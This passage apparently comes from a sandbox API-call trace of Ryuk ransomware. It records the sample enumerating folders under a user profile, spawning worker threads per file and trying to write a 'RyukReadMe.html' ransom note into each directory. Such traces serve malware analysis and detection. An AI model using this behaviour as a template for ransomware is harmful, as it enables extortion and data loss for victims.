	[0259.617] SetLastError (dwErrCode=0x0) 
	[0259.617] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.617] GetLastError () returned 0x3
	[0259.617] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.617] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.618] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x54000, dwReserved0=0x204, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0259.618] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0259.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0259.620] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.620] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 1
	[0259.620] SetLastError (dwErrCode=0x0) 
	[0259.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.620] GetLastError () returned 0x3
	[0259.620] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.621] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.621] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0259.621] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.621] SetLastError (dwErrCode=0x0) 
	[0259.621] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.621] GetLastError () returned 0x3
	[0259.621] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.621] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.621] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50fa0830, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50fa0830, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="YG1R61Z8", cAlternateFileName="")) returned 0
	[0259.621] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0259.622] SetLastError (dwErrCode=0x0) 
	[0259.622] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.622] GetLastError () returned 0x3
	[0259.622] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0259.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.622] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0259.622] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1
	[0259.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0259.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0259.624] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.625] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51445650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 0
	[0259.625] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0259.625] SetLastError (dwErrCode=0x0) 
	[0259.625] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0259.626] GetLastError () returned 0xb7
	[0259.626] CloseHandle (hObject=0x870) returned 1
	[0259.626] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1
	[0259.626] SetLastError (dwErrCode=0x0) 
	[0259.626] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0259.626] GetLastError () returned 0xb7
	[0259.627] CloseHandle (hObject=0x870) returned 1
	[0259.627] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0259.628] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.628] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1
	[0259.628] SetLastError (dwErrCode=0x0) 
	[0259.628] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.628] GetLastError () returned 0x3
	[0259.628] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0259.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.629] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0259.792] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.792] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0259.792] SetLastError (dwErrCode=0x0) 
	[0259.793] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.793] GetLastError () returned 0x3
	[0259.793] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.793] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.793] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0259.793] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.793] SetLastError (dwErrCode=0x0) 
	[0259.793] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\Users\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\c\\users\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.793] GetLastError () returned 0x3
	[0259.793] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.793] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.794] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0
	[0259.794] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0259.794] SetLastError (dwErrCode=0x0) 
	[0259.794] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.794] GetLastError () returned 0x3
	[0259.794] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0259.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.794] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0
	[0259.794] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0259.795] SetLastError (dwErrCode=0x0) 
	[0259.795] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.795] GetLastError () returned 0x3
	[0259.795] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0259.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.795] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0
	[0259.795] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0259.795] SetLastError (dwErrCode=0x0) 
	[0259.795] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0259.796] GetLastError () returned 0xb7
	[0259.796] CloseHandle (hObject=0x5c4) returned 1
	[0259.796] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0259.796] SetLastError (dwErrCode=0x0) 
	[0259.796] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0259.796] GetLastError () returned 0xb7
	[0259.796] CloseHandle (hObject=0x5c4) returned 1
	[0259.797] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5196d170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5196d170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0259.797] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5196d170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5196d170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
